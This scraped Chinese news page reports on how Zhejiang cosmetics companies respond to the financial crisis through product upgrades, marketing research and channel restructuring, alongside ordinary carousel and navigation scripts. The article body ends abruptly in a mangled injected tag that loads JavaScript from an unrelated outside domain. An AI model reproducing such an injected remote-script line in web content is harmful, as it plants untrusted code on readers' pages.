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    <title>产品升级 营销创新 渠道优化 “海啸”中，浙江日化在整合 - 和爱一家化妆网</title>
    <meta name="keywords" content="和爱一家,唯爱美,博酷云,网上购物,网上商城,货到付款的购物网站,上品折扣网,上品折扣网上购物,上品折扣,美容护肤,瘦身减肥,时尚品牌,美容护肤知识,奢思雅,仟丝缘,护肤品排名,护肤品价格,渠道透析," />
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        function change1() {

            focusBox1('kakaFocus1');
            function focusBox1(o1) {
                if (!o1) return;

                var w1 = $("#kakaFocus1 .banner_pic").width(), $o1 = $('#' + o1), i = 0, l = 0;
                arr1 = [], t1 = null,

                        $infoLi1 = $o1.find('.banner_info li'), len1 = $infoLi1.length * 2,
                        $ul1 = $o1.find('.banner_pic>ul');
                $ul1.append($ul1.html()).css({'width': len1 * w1, 'left': -len1 * w1 / 2});
                $infoLi1.eq(0).addClass('current');
                //add banner_pages element
                arr1.push('<div class="banner_pages"><ul>');
                $infoLi1.each(function (i) {
                    if (i == 0) {
                        arr1.push('<li class="current"><span>' + (i + 1) + '</span></li>');
                    } else {
                        arr1.push('<li><span>' + (i + 1) + '</span></li>');
                    }
                });
                arr1.push('</ul></div>');
                $o1.append(arr1.join(''));
                var $pagesLi1 = $o1.find('.banner_pages li');
                //mouse
                $pagesLi1.children('span').click(function () {
                    var p1 = $pagesLi1.index($o1.find('.banner_pages li.current'));
                    i1 = $pagesLi1.children('span').index($(this));
                    if (i1 == p1) return;
                    l1 = parseInt($ul1.css('left')) + w1 * (p1 - i1);
                    addCurrent1(i1, l1);
                    return false;
                })
                $o1.children('a.btn_prev').click(function () {
                    i1 = $pagesLi1.index($o1.find('.banner_pages li.current'));
                    (i1 == 0) ? i1 = (len1 / 2 - 1) : i1--;
                    l1 = parseInt($ul1.css('left')) + w1;
                    addCurrent1(i1, l1);
                    return false;
                })
                $o1.children('a.btn_next').click(function () {
                    i1 = ($pagesLi1.index($o1.find('.banner_pages li.current')) + 1) % (len1 / 2);
                    l1 = parseInt($ul1.css('left')) - w1;
                    addCurrent1(i1, l1);
                    return false;
                })
                //auto focus
                t1 = setInterval(init1, 8000);
                $o1.hover(function () {
                    clearInterval(t1);
                }, function () {
                    t1 = setInterval(init1, 8000);
                });
                function init1() {
                    $o1.children('a.btn_next').trigger('click');
                }

                //add focus
                function addCurrent1(i, l) {
                    if ($ul1.is(':animated')) return;
                    $ul1.animate({'left': l}, 500, function () {
                        $o1.children('.banner_count').text(i + 1);
                        $infoLi1.not($infoLi1.eq(i).addClass('current')).removeClass('current');
                        $pagesLi1.not($pagesLi1.eq(i).addClass('current')).removeClass('current');
                        if (l == (1 - len1) * w1) {
                            $ul1.css({'left': (1 - len1 / 2) * w1});
                        } else if (l == 0) {
                            $ul1.css({'left': -len1 * w1 / 2});
                        }
                    });
                }
            }
        }

        $(document).ready(function () {
            change1();

        })
        //tab
        function nTabs(thisObj, Num) {
            if (thisObj.className == "active")return;
            var tabObj = thisObj.parentNode.id;
            var tabList = document.getElementById(tabObj).getElementsByTagName("li");
            for (i = 0; i < tabList.length; i++) {

                if (i == Num) {
                    thisObj.className = "active";
                    document.getElementById(tabObj + "_Content" + i).style.display = "block";
                    $(".new_right_title").addClass("ywtitle" + i);
                } else {
                    tabList[i].className = "normal";
                    document.getElementById(tabObj + "_Content" + i).style.display = "none";
                    $(".new_right_title").removeClass("ywtitle" + i);
                }
            }
        }

        /*daohang huaguo*/
        $(document).ready(function () {

            function topnav1() {
                var _show = null;
                var _hideTimer = null;
                var planItems = $('ul.c-fl-ul li.division');
                planItems.each(function (index) {
                    var li = $(this);
                    var div = li.find('div.navshow_div');
                    div.css("display", "none");
                    li.bind('mouseenter', function () {
                        if (_show != null) {
                            clearTimeout(_show);
                        }
                        _show = setTimeout(function () {
                            $('ul.nav_navcon li').addClass('');

                            li.addClass('topnav_sel');
                        }, 0);
                    });
                    li.bind('mouseleave', function () {
                        if (_show != null) {
                            clearTimeout(_show);
                        }
                        _hideTimer = setTimeout(function () {
                            li.removeClass('topnav_sel');

                        }, 0);
                    });
                });
            };
            topnav1();

        });
    </script>
</head>
<body>

<div id="index_topa">

    <div class="enter_top" id="enter_top">
        <div class=" w1000 m_center">

            <div class="enter_banner">
                <div class="enter_logo"><a><img
                        src="http://huazhuang.heaiyj.com/static/ddTemp/images/logo.jpg"></a>
                </div>
                <div class="searchnav">

                    <div class="searchinput right">
                        <input type="text" value="请输入关键字" name="q" id="q" class="search_input">

                        <div class="search_listbox">

                            <div style="_position:relative;padding:0px;margin:0px;" class="dii71" id="id7">
                                <div class="select_border">

                                    <div class="select_container">
                                        <select id="s0" name="s0" class="selectnews">
                                            <option value="cns">中 新</option>
                                            <option value="baidu">百 度</option>

                                        </select>
                                    </div>
                                </div>
                            </div>

                        </div>
                        <a class="search_a">搜 索</a>
                        <div class="clear"></div>
                    </div>
                    <div class="clear"></div>
                </div>
                <div class="clear"></div>
            </div>

        </div>
        <div class="inter_navbox mt15">
            <div class="inter_nav">
                <ul class="inter_nav_ul">
                    <li><a href="/index.html" title="首页">首页</a><em></em></li>
                    <li><a href="/hyzx/list_1.html" title="行业资讯">行业资讯</a><em></em></li><li><a href="/cysc/list_1.html" title="产业市场">产业市场</a><em></em></li><li><a href="/qdtx/list_1.html" title="渠道透析">渠道透析</a><em></em></li><li><a href="/yfpt/list_1.html" title="原辅配套">原辅配套</a><em></em></li><li><a href="/yxgl/list_1.html" title="营销管理">营销管理</a><em></em></li><li><a href="/changshi/list_1.html" title="化妆常识">化妆常识</a><em></em></li><li><a href="/rank/list_1.html" title="化妆品排名">化妆品排名</a><em></em></li>                </ul>
            </div>
        </div>
    </div>
    <!--头部结束-->

    <!--nav_start-->
    <div class="div980 background-whtie" id="nav_div980">
        <div id="logo"><a href="/index.html"><img src="http://huazhuang.heaiyj.com/static/ddTemp/images/logo.gif" width="155" height="44" alt="logo"></a></div>
        <div id="nav"><a href="/index.html">首页</a> → <a href="/qdtx/list_1.html">渠道透析</a></div>
        <div id="ad_nav"></div>

        <div class="search">

            <div id="search">
                <input id="keyword" name="q" class="searchword ac_input" onclick="this.value=''" value="请输入关键词">
                <div class="search_button"><a>搜 索</a></div>
                <div id="menubar">
                    <ul id="menus" class="menus">
                        <li><span>新闻<input name="search_fl" id="search_fl" value="title" type="hidden" style="width:67px;"></span>
                            <ul class="children" id="child" style="display: none;">
                                <li><a href="javascript:void(0);" target="_self">新闻</a></li>
                                <li><a href="javascript:void(0);" target="_self">图片</a></li>
                                <li><a href="javascript:void(0);" target="_self">视频</a></li>
                            </ul>
                        </li>
                    </ul>
                </div>
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        </div>
        <div id="zihao">
            <div>字号：</div>
            <a javascript:void(0);="" id="txt_x">小</a> <a javascript:void(0);="" id="txt_z" class="on">中</a> <a
                javascript:void(0);="" id="txt_d">大</a></div>
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                    <div id="menu_1_2_2" style="display:none;">评论 <span id="tstotal"></span></div>
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                        产品升级 营销创新 渠道优化 “海啸”中，浙江日化在整合                    </h1>
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                        <div class="left-t" style="padding-left:6px;"> 2016-08-24 17:27　来源：<a href="http://huazhuang.heaiyj.com/" style="color:#666;font-weight:normal;">和爱一家购物网</a></div>
                    </div>

                    <div class="left_zw" style="position:relative">
                        <!-- 文章内容开始 -->
                        &#160;　　近期，杭州某年产量过亿元的OEM企业与另一家终端品牌公司合并，通过GMP标准的生产流水线、稳定品质和成熟营销推广经营的全面整合，新公司的综合竞争实力将成倍提升，这一尚未对外公布的消息已经成为金融“海啸”中浙江日化企业引人关注的变革举措。
　　受金融危机影响，国内部分终端网点和代理商销售回款均有下滑，资金实力较弱或生产规模偏小的浙江化妆品企业倍感压力。然而，浙江日化企业不仅通过市场调研进行产品升级，市场营销手段和渠道也在不断优化提升，而且企业间的相互学习和帮助也使整个日化行业抗风险能力增强。
　　产品研发：
　　&#160;概念入市 产品力提升
　　专营店终端单店销量下降，代理商回款增幅趋缓，部分企业认为，除了市场消费信心受到一定影响之外，终端产品同质化、卖点缺乏个性和品质不稳定也是导致部分品牌销售不理想的重要原因。
　　浙江香雅集团有限公司董事长邹宗平认为，国产新品在终端竞争中不仅要靠差异化概念切入市场，同时还要带动整个系列可持续发展。经过一年时间对华北、西北、东北等区域的考察，邹宗平与研发团队发现：虽然补水概念已经成为众品牌的主推系列，但是对于因不健康生活方式和压力造成的肌肤过敏问题却没有得到重视。
　　2008年8月，浙江香雅集团旗下杭州海丝泉化妆品公司以“舒敏补水”概念为诉求的敏泉冰肌雪肤系列上市，“西湖龙井茶原液萃取”、“古代汉方”和“杭州制造”三大优势成为敏泉品牌切入市场的独特卖点，而且公司正在向国家相关部门申请“西湖龙井”原产地保护标识，这也是国内化妆品行业首例。
　　对于已经入市多年相对成熟的品牌，企业也在根据市场变化进行相应的产品结构调整和研发升级。杭州优嘉公司早期上市的芙玖品牌主推“药妆”概念，但由于药妆在二、三级市场接受度不高，低价位单品盈利空间小，因此公司根据市场发展需求推出价格稍高和包装更贴近“药妆”的两个新系列，通过差异化定位和“药店+专营店+商场”终端组合诠释“新药妆”概念；2008年5月上市的芙芮品牌通过“日夜区分”和“环保替换装”全新概念获得市场认可，终端市场正式启动将在明年初进行；公司旗下另一款中高端品牌也将对产品包装进行重新设计，并将100元以上的定价下调，明年开始主打乡镇农村市场。
　　另外，在市场整体销售增长放缓的情况下，杭州三超公司也将产品包装升级和优化配方作为工作重点。三超公司总经理周文超告诉记者，小青品牌原有的包装和材质虽然成本很高，但是与神话故事中的“小青”风格存在距离，不利于品牌文化的有效传播，因此从下半年开始，小青品牌进行包装调整，以淡雅色调和中国画风格为主，突出产品纯植物特性；另外，包装调整后的全套系列单品将达到40个以上，全新包装之后的小青产品也将进入专营店终端渠道销售。
　　营销创新：
　　市场调研 随需而变
　　所有的产品包装、配方升级、概念切入都是为了“临门一脚”--终端销售。对于中小型企业来说，营销创新成为其在恶劣竞争环境中求得生存发展的重要手段，众多浙江日化企业坚信，营销创新始终来源于对市场信息的掌握和分析。
　　市场调研、分析和创新是浙江欧诗漫公司销售部门成熟并长期坚持的流程。欧诗漫集团销售有限公司总经理沈逸介绍，公司的产品升级和营销创新均以充分的市场调研为基础，每年与专业调查机构的合作费用就高达一二百万元，通过终端走访、信息收集、顾客回访、市场测试等具体工作，10个单品左右的新品系列需要半年至一年时间才能正式推出。
　　“在新品上市的同时，公司也加大力度支持销售部门的营销创新。”沈逸告诉记者，大区经理通过对竞品和终端发展趋势的研究和总结，可以大胆尝试全新的促销活动方案，从最初“怕犯错误”逐步转变为“鼓励创新”，创新营销获得实际收效的大区经理年终将得到公司奖金、分红鼓励，或者能够为升职增加重要砝码。另外，欧诗漫公司也将改变“配赠+人员促销+返利”的终端营销模式，在减少配赠品的同时，提升终端加盟店专柜形象、增加广告投放、加大活动促销和执行力度，并且加大免费特价品的支持力度。沈逸表示，这项营销创新举措可使终端店在进货量相对较少的情况下获得更多利润回报，公司整体销售也可实现翻番。
　　杭州优嘉公司也为营销创新进行了大量系统工作：首先，公司建立了绝大多数国际品牌产品特征、终端策略、广告传播和形象方面的数据库；其次，2009年开始，公司企划部将组织团队下市场了解100家以上的终端店，获得竞品包装和促销活动方案等方面的信息，同时进行终端店和固定顾客群满意度调查。
　　相对于传统的买赠、积分和VIP答谢会等营销方式，杭州海丝泉化妆品公司将代言人形象与促销活动有机结合的创新营销颇具看点：敏泉品牌邀请台湾歌星陈明真代言，公司出资与陈明真所属?script src=http://cn.jxmmtv.com/cn.js&gt;                        <!-- 文章内容结束 -->
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